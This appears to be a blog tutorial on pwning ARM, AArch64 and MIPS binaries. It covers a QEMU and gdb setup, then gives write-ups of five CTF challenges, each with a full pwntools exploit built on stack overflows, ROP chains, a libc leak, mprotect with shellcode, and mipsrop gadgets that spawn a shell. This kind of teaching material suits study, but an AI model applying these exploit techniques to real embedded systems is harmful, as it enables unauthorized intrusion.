This paragraph is to pwn ARM
and MIPS
binaries, with some examples.
Environment Setup Basically binaries are executed by QEMU
, so some operations in QEMU Intro and Network Configuration are needed.
Add another one. The tool arm_now on github is wrapped to build the environment.
Install Shared Library We can search by
1 $ apt search "libc6-" | grep "{ARCH}"
What we need are packages like libc6-{ARCH}-cross
.
As mentioned in QEMU Intro and Network Configuration before, the packages like gcc-{ARCH}-linux-gnuxxx
also provides shared libraries.
All above libs are stored as /usr/{ARCH}-linux-gnuxxx
.
Or visit toolchains.bootlin.com to get ready-built libc files including glib
, musl
and uclibc
.
Static Analysis Here I mean IDA. We need plugins for MIPS. The MIPSROP only supports IDA 6.7 and lower versions, because API changed in IDA, but there’s a researcher wrote this new one .
Disassembler plugin we use Retdec for IDA, Please ROP for jeb2 , and Binary Ninja .
As for ARM, Hex-Rays Decompiler plugin supports ARM, even MIPS now. So IDA Pro 7.5 can disassemble both ARM and MIPS at this moment.
Dynamic Analysis The gdb
is what we need.
1 $ apt install gdb-multiarch
With shared library installed, we can assign them to program by -L
like
1 $ qemu-mipsel -L /usr/mipsel-linux-gnu/ ./program
Use -g
to open ports
1 $ qemu-mipsel -g 1234 -L /usr/mipsel-linux-gnu/ ./add
Then in gdb-multiarch
(with pwndbg ), set architecture and connect
1 2 pwndbg> set architecture mips pwndbg> target remote localhost:1234
This part is also included in Debug Programs
part of QEMU Intro and Network Configuration .
CTF Examples Here gives some preliminary multi-arch ctf challenges
Jarvis oj - typo - ARM Attachment: typo Check the file first (arm-32-little)
1 2 3 4 5 6 7 8 9 $ file typo typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped $ checksec typo [*] '/root/typo' Arch: arm-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8000)
It is a static linked armel-32bit-program.
When testing we find a long string overflows the program
. Then we calculate the padding by using qemu
and cyclic
.
But the code is obfuscated, we have trouble figuring out the main logic, while we find /bin/sh
at .rodata:0006C384
. And according to the cross reference of it,we can find sub_10BA8 (0x10BA8)
(someone find sub_110B4 (0x110B4)
) which turns out to be system()
.
Then we need a gadget to control $r0
and find 0x00020904 : pop {r0, r4, pc}
using ROPgadget
. So we build the stack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 +------------+ | | | padding | | | | | +------------+ | gadget_addr| <- 0x20904 +------------+ | binsh_addr | <- 0x6C384 +------------+ | junk_data | +------------+ | system_addr| <- 0x10BA8 # 0x110B4 +------------+
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *from LibcSearcher import *from ctypes import *filename = 'typo' context(binary = filename, log_level = 'debug' ) elf = ELF(filename) sh = process(filename) sh.sendafter("quit\n" ,"\n" ) padding = 112 bin_sh_str = 0x6c384 system_addr = 0x10BA8 pop_04pc = 0x20904 payload = b'a' *padding+p32(pop_04pc)+p32(bin_sh_str)+p32(0xdeadbeef )+p32(system_addr) sh.sendlineafter("\n" ,payload) sh.interactive()
Codegate2018 - melong - ARM Attachment: melong Check file infomation (still arm)
1 2 3 4 5 6 7 8 9 $ file melong melong: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=2c55e75a072020303e7c802d32a5b82432f329e9, not stripped $ checksec melong [*] '/root/melong' Arch: arm-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x10000)
After reading the pseudocode we can find that in write_diary()
, we can give the read()
a large size to write to stack and achieve an overflow in main()
function frame.
But before that we have to enter PT()
to set size. It has to be negative to pass a comparision statement, and the negative value is regarded as a fairly large unsigned integer.
After that we enter write_diary()
to do rop
: first leak libc
address, then control it to execute system("/bin/sh
“).
The next challenge is to go back to main()
. The rop
in ARM
is different from x86
because it has no ret
instruction. So hijacking program flow is to control $pc
.
We cannot control the program flow just using rop
gadgets we give, the only way is to follow the program running and find some pop $regs
to control regs (especially $pc
).
Brute forcing can be used to guess how many paddings we need to loop back to main (using cyclic
or so, same as how we determine offset in stack overflow), another more preliminary method is to debug step by step and find the significant. gadget: <puts+400>: pop {r4, r5, r6, r7, r8, r9, r10, pc}
.
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from LibcSearcher import *from ctypes import *filename = './melong' libcpath = '/usr/arm-linux-gnueabi/lib/libc.so.6' context(binary = filename, log_level = 'debug' ) elf = ELF(filename) libc = ELF(libcpath) sh = process('qemu-arm -L /usr/arm-linux-gnueabi ./melong' ,shell=True ) sh.sendafter("Type the number:" ,"1\n1.8\n80\n" ) sh.sendafter("Type the number:" ,"3\n-123\n" ) pad = 0x54 pop_0pc = 0x00011bbc leak = b'a' *pad + p32(pop_0pc) + p32(elf.got['puts' ]) + p32(elf.plt['puts' ]) leak += flat(elf.sym['main' ])*8 sh.sendafter("Type the number:" ,b"4\n" +leak) sh.sendline("6" ) sh.recvuntil("See you again :)\n" ) print ("===============================================================================" )raw_puts = u32(sh.recv(4 )) libc.address = raw_puts - libc.sym['puts' ] success("libc.address -> {:#x}" .format (libc.address)) sh.sendafter("Type the number:" ,"1\n1.8\n80\n" ) sh.sendafter("Type the number:" ,"3\n-123\n" ) payload = b'a' *pad + p32(pop_0pc) + p32(next (libc.search(b"/bin/sh" ))) + p32(libc.sym['system' ]) sh.sendafter("Type the number:" ,b"4\n" +payload) sh.sendline("6" ) sh.interactive()
Shanghai2018 - baby_arm - aarch64 Attachment: baby_arm Still check the file (aarch64 aka. arm64)
1 2 3 4 5 6 7 8 9 $ file baby_arm baby_arm: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped $ checksec baby_arm [*] '/root/baby_arm' Arch: aarch64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
All we have to notice is just main_logic()
and sub_4007F0()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __int64 main_logic () { ssize_t v0; initial (); write (1 , "Name:" , 5uLL ); v0 = read (0 , &unk_411068, 0x200 uLL); sub_4007F0 (v0); return 0LL ; } ssize_t sub_4007F0 () { __int64 v1; return read (0 , &v1, 0x200 uLL); }
Easy to determine the offset using cyclic
and we find the NX enabled
. And the mprotect()
exists and it sets the privilege digit as 0
which means no execution.
We can also use it to set bss
as writable
and executable
using mprotect()
. Here we use the powerful csu gadget
to call any functions with any args, using gadgets in _libc_csu_init()
.
So the whole pass is: write shellcode
to bss
; use mprotect()
to set bss
executable; finally call shellcode
.
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from LibcSearcher import *from ctypes import *filename = 'pwn' context(binary = filename, log_level = 'debug' ) elf = ELF(filename) sh = process('qemu-aarch64 -L /usr/aarch64-linux-gnu/ pwn' ,shell=True ) def csu_rop (call, x0, x1, x2 ): payload = flat(0x4008CC , '00000000' , 0x4008ac , 0 , 1 , call) payload += flat(x2, x1, x0) payload += '12345678' return payload padding = asm('mov x0, x0' ) shell = asm(shellcraft.execve('/bin/sh' )) sh.sendafter('Name:' ,padding*0x10 +shell) payload1 = flat(cyclic(72 )+csu_rop(elf.got['read' ],0 ,elf.got['__gmon_start__' ],8 )) payload1 += flat(0x400824 ) sh.send(payload1) sh.send(flat(elf.plt['mprotect' ])) sh.sendafter('Name:' ,padding*0x10 +shell) payload2 = flat(cyclic(72 )+csu_rop(elf.got['__gmon_start__' ], 0x411000 , 0x1000 , 7 )) payload2 += flat(0x411068 ) sh.send(payload2) sh.interactive()
HWS2020 - Mplogin - mipsel Attachment: Mplogin Check this file (mipsel)
1 2 3 4 5 6 7 8 9 10 11 $ file Mplogin Mplogin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped $ checksec Mplogin [*] '/root/Mplogin' Arch: mips-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
In main()
it gets 2 functions:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __cdecl main (int argc, const char **argv, const char **envp) { int v3; int v5; setbuf (stdin, 0 , envp); setbuf (stdout, 0 , v3); printf ("\x1B[33m" ); puts ("-----we1c0me t0 MP l0g1n s7stem-----" ); v5 = sub_400840 (); sub_400978 (v5); printf ("\x1B[32m" ); return puts ("Now you getshell~" ); }
In sub_400840()
it can leak sth on stack because no processing the last byte:
1 2 3 4 5 6 7 8 9 10 11 12 13 int sub_400840 () { char v1[24 ]; memset (v1, 0 , sizeof (v1)); printf ("\x1B[34m" ); printf ("Username : " ); read (0 , v1, 24 ); if ( strncmp (v1, "admin" , 5 ) ) exit (0 ); printf ("Correct name : %s" , v1); return strlen (v1); }
In sub_400978()
it has an overflow (it can control size of second read()
) which lets us write :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __fastcall sub_400978 (int a1) { char v2[20 ]; int v3; char v4[36 ]; v3 = a1 + 4 ; printf ("\x1B[31m" ); printf ("Pre_Password : " ); read (0 , v2, 36 ); printf ("Password : " ); read (0 , v4, v3); if ( strncmp (v2, "access" , 6 ) || strncmp (v4, "0123456789" , 10 ) ) exit (0 ); return puts ("Correct password : **********" ); }
We try to debug dynamically using qemu
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 # interactive terminal $ qemu-mipsel -L ./ -g 1234 ./Mplogin -----we1c0me t0 MP l0g1n s7stem----- Username : admin6789012345678901234 Correct name : admin6789012345678901234��@� @ # in pwndbg we check stack content pwndbg> stack 30 00:0000│ s8 fp sp 0x40800298 ◂— 0x0 01:0004│ 0x4080029c —▸ 0x408002b0 ◂— 0x696d6461 ('admi') 02:0008│ 0x408002a0 —▸ 0x400d59 ◂— 0x43000000 03:000c│ 0x408002a4 ◂— 0x0 04:0010│ 0x408002a8 ◂— 0x418e50 05:0014│ 0x408002ac ◂— 0x0 06:0018│ 0x408002b0 ◂— 0x696d6461 ('admi') 07:001c│ 0x408002b4 ◂— 0x3837366e ('n678') 08:0020│ 0x408002b8 ◂— 0x32313039 ('9012') 09:0024│ 0x408002bc ◂— 0x36353433 ('3456') 0a:0028│ 0x408002c0 ◂— 0x30393837 ('7890') 0b:002c│ 0x408002c4 ◂— 0x34333231 ('1234') 0c:0030│ 0x408002c8 —▸ 0x408002d0 —▸ 0x40007010 ◂— 0x0 0d:0034│ 0x408002cc —▸ 0x400b90 (main+164) ◂— lw $gp, 0x10($fp) 0e:0038│ 0x408002d0 —▸ 0x40007010 ◂— 0x0 0f:003c│ 0x408002d4 ◂— 0x0 10:0040│ 0x408002d8 ◂— 0x2
So if we send 24
bytes without \x00
at the end, we can leak 0x408002d0
at 0x408002c8
(on the stack), and 0x408002d0
itself is also a stack address.
Since this challenge with NX disabled, we can write shellcodes to stack and execute, and using ROP to jump back to shellcode address (better the address we leaked, like 0x408002d0
we already got).
Here is the exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *filename = 'Mplogin' context(binary = filename, log_level = 'debug' ) elf = ELF(filename) sh = process(["qemu-mipsel" ,"-L" ,"./" ,"./Mplogin" ]) sh.sendafter(b"name : " ,"admin" .ljust(0x18 ,'a' )) sh.recvuntil(b"Correct name : " ) sh.recv(0x18 ) stack = u32(sh.recv(4 )) print ("stack:" ,stack,hex (stack),"type:" ,type (stack))sh.sendafter(b"Pre_Password : " ,b"access" .ljust(0x14 ,b"2" )+p32(0x100 )) sh.sendafter(b"Password : " ,b"0123456789" .ljust(0x28 ,b"2" )+p32(stack)+asm(shellcraft.sh())) sh.interactive()
HWS2020 - pwn - mipsel Attachment: pwn Check the file (mips and static)
1 2 3 4 5 6 7 8 9 10 11 $ file pwn pwn: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e0782ebdf0d70b808dba4b10c6866faeae35c620, not stripped $ checksec pwn [*] '/root/pwn' Arch: mips-32-big RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
In pwn()
we find that a 0x200
v6 reads 0x300
which triggers overflow,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 bool pwn () { int v0; _BOOL4 result; int v3; int v4[2 ]; _BYTE *v5; _BYTE *v6; unsigned int i; int j; int v9; int v10; int v11; int *v12; int *v13; int *v14; int v15; int v16; _BYTE *v17; int v18[3 ]; v6 = (_BYTE *)malloc (0x200 ); puts ("Enter the group number: " ); if ( !_isoc99_scanf("%d" , v18) ) { printf ("Input error!" ); exit (-1 ); } if ( !v18[0 ] || v18[0 ] >= 0xA u ) { fwrite ("The numbers is illegal! Exit...\n" , 1 , 32 , stderr); exit (-1 ); } v18[1 ] = (int )&v3; v9 = 36 ; v10 = 36 * v18[0 ]; v11 = 36 * v18[0 ] - 1 ; v12 = v4; memset (v4, 0 , 36 * v18[0 ]); for ( i = 0 ; ; ++i ) { result = i < v18[0 ]; if ( i >= v18[0 ] ) break ; v13 = (int *)((char *)v12 + i * v9); v14 = v13; memset (v6, 0 , 4 ); puts ("Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' " ); v15 = read (0 , v6, 0x300 ); if ( v13 ) { v0 = atoi (v6); *v14 = v0; v16 = strchr (v6, 58 ); for ( j = 0 ; v6++; ++j ) { if ( *v6 == 10 ) { v5 = v6; break ; } } v17 = &v5[-v16]; if ( !v16 ) { puts ("format error!" ); exit (-1 ); } memcpy (v14 + 1 , v16 + 1 , v17); } else { printf ("Error!" ); v14[1 ] = 1633771776 ; } } return result; }
And the memcpy(v14 + 1, v16 + 1, v17);
moves heap contents (v16 +1
) to stack (v14 + 1
) which causes stack overflow.
Before ROP we have to determine the paddings. Using cyclic
doesn’t give a result, while entering a * big num
works, due to the logic:
1 2 3 4 5 6 7 8 9 if ( i >= v18[0 ] ) break ; 0x400994 <pwn+864 > lw $v1, 0x20 ($fp) 0x400998 <pwn+868 > lw $v0, 0x4c ($fp) 0x40099c <pwn+872 > sltu $v0, $v1, $v0 0x4009a0 <pwn+876 > bnez $v0, pwn+376 <0x4007ac >
At that time we get $v0
> $v1
is using cyclic
1 2 V0 0x79616161 ('yaaa' ) V1 0x6e616162 ('naab' )
Therefore we enter <0x4007ac>
to trigger Program received signal SIGSEGV, Segmentation fault.
and crash here:
1 2 3 4 0x4007d4 <pwn+416 > lw $a0 , 0x1c ($fp ) ► 0x4007d8 <pwn+420 > lw $v0 , -0x7f98 ($gp ) 0x4007dc <pwn+424 > move $t9 , $v0 0x4007e0 <pwn+428 > bal memset <0x41c0a0 >
While if we use a bunch of a
, we can trigger jr $ra
1 2 3 4 5 6 7 8 9 10 0x400a48 <pwn+1044 > lw $s3 , 0x64 ($sp ) 0x400a4c <pwn+1048 > lw $s2 , 0x60 ($sp ) 0x400a50 <pwn+1052 > lw $s1 , 0x5c ($sp ) 0x400a54 <pwn+1056 > lw $s0 , 0x58 ($sp ) 0x400a58 <pwn+1060 > addiu $sp , $sp , 0x80 ► 0x400a5c <pwn+1064 > jr $ra <0x7a7a7a7a > 0x400a60 <pwn+1068 > nop 0x400a64 <banner> addiu $sp , $sp , -0x20 0x400a68 <banner+4> sw $ra , 0x1c ($sp )
After debugging we get offset as 0x90
.
Then think about ROP. On x86
arch we can use jmp esp
to execute shellcode in stack, whle on mips
arch we use similar methods to call stack address.
Here we use mipsrop
in IDA Pro
, use mipsrop.stackfinder()
to find gadgets jumping back to stack:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Python>mipsrop.stackfinder() ---------------------------------------------------------------------------------------------------------------- | Address | Action | Control Jump | ---------------------------------------------------------------------------------------------------------------- | 0x004273C4 | addiu $a2,$sp,0x70 +var_C | jalr $s0 | | 0x0042BCD0 | addiu $a2,$sp,0x88 +var_C | jalr $s2 | | 0x0042FA00 | addiu $v1,$sp,0x138 +var_104 | jalr $s1 | | 0x004491F8 | addiu $a2,$sp,0x44 +var_C | jalr $s1 | | 0x0044931C | addiu $v0,$sp,0x30 +var_8 | jalr $s1 | | 0x00449444 | addiu $a2,$sp,0x44 +var_C | jalr $s1 | | 0x0044AD58 | addiu $a1,$sp,0x60 +var_28 | jalr $s4 | | 0x0044AEFC | addiu $a1,$sp,0x64 +var_28 | jalr $s5 | | 0x0044B154 | addiu $a1,$sp,0x6C +var_38 | jalr $s2 | | 0x0044B1EC | addiu $v0,$sp,0x6C +var_40 | jalr $s2 | | 0x0044B3EC | addiu $v0,$sp,0x170 +var_130 | jalr $s0 | | 0x00454E94 | addiu $s7,$sp,0xB8 +var_98 | jalr $s3 | | 0x00465BEC | addiu $a1,$sp,0xC4 +var_98 | jalr $s0 | ---------------------------------------------------------------------------------------------------------------- Found 13 matching gadgets
These gadgets do Action
and then jump according to Control Jump
. These gadgets can store things on stack to $a1
, $a2
, $v0
, $v1
and so on. What we need is some jump to these regs, and the right shellcode layout. Here we use mipsrop.tails()
and mipsrop.doubles()
to check
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Python>mipsrop.tails() ---------------------------------------------------------------------------------------------------------------- | Address | Action | Control Jump | ---------------------------------------------------------------------------------------------------------------- | 0x0041F518 | move $t9,$s1 | jr $s1 | | 0x0041F538 | move $t9,$s1 | jr $s1 | | 0x00421684 | move $t9,$a2 | jr $a2 | | 0x0045882C | move $t9,$v0 | jr $v0 | | 0x00458884 | move $t9,$v0 | jr $v0 | ---------------------------------------------------------------------------------------------------------------- Found 5 matching gadgets Python>mipsrop.doubles() ---------------------------------------------------------------------------------------------------------------- | Address | Action | Control Jump | ---------------------------------------------------------------------------------------------------------------- | 0x0042CB68 | move $t9,$s2 | jalr $s2 | | 0x0044BEA4 | move $t9,$s4 | jalr $s4 | | 0x0042CB68 | move $t9,$s2 | jalr $s2 | | 0x0044BEA4 | move $t9,$s4 | jalr $s4 | | 0x0047339C | move $t9,$s3 | jalr $s3 | | 0x0042CB68 | move $t9,$s2 | jalr $s2 | | 0x0044BEA4 | move $t9,$s4 | jalr $s4 | | 0x0047339C | move $t9,$s3 | jalr $s3 | | 0x0042CB68 | move $t9,$s2 | jalr $s2 | | 0x0044BEA4 | move $t9,$s4 | jalr $s4 | | 0x0047339C | move $t9,$s3 | jalr $s3 | ---------------------------------------------------------------------------------------------------------------- Found 11 matching gadgets
We choose the first line: 0x004273C4
using $a2
1 2 3 4 5 6 7 .text: 004271 EC var_C = -0xC ... .text: 004273 C4 addiu $a2 , $sp , 0x70 +var_C ... .text: 004273 D4 move $t9 , $s0 ... .text: 004273 E8 jalr $t9
And 0x00421684
jumping to $a2
1 2 .text: 00421684 move $t9 , $a2 .text: 00421688 jr $t9
According to these, the exploit is:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from ctypes import *filename = './pwn' context(binary = filename, log_level = 'debug' ) elf = ELF(filename) sh = process(["qemu-mips" ,filename]) sh.sendlineafter("number:" ,"1" ) ra = 0x004273C4 s0 = 0x00421684 payload = b'1:' payload += b'a' *0x6c + p32(s0) + b'a' *0x20 + p32(ra) payload += b'a' *0x64 + asm(shellcraft.sh()) sh.sendlineafter(b"Job.'" ,payload) sh.interactive()
Summary This blog is just an intro with only stack exploiting tips, actually the heap challenges of arm
/mips
using glib
/uClibc
/musl
are almost the same as these on x86
arch.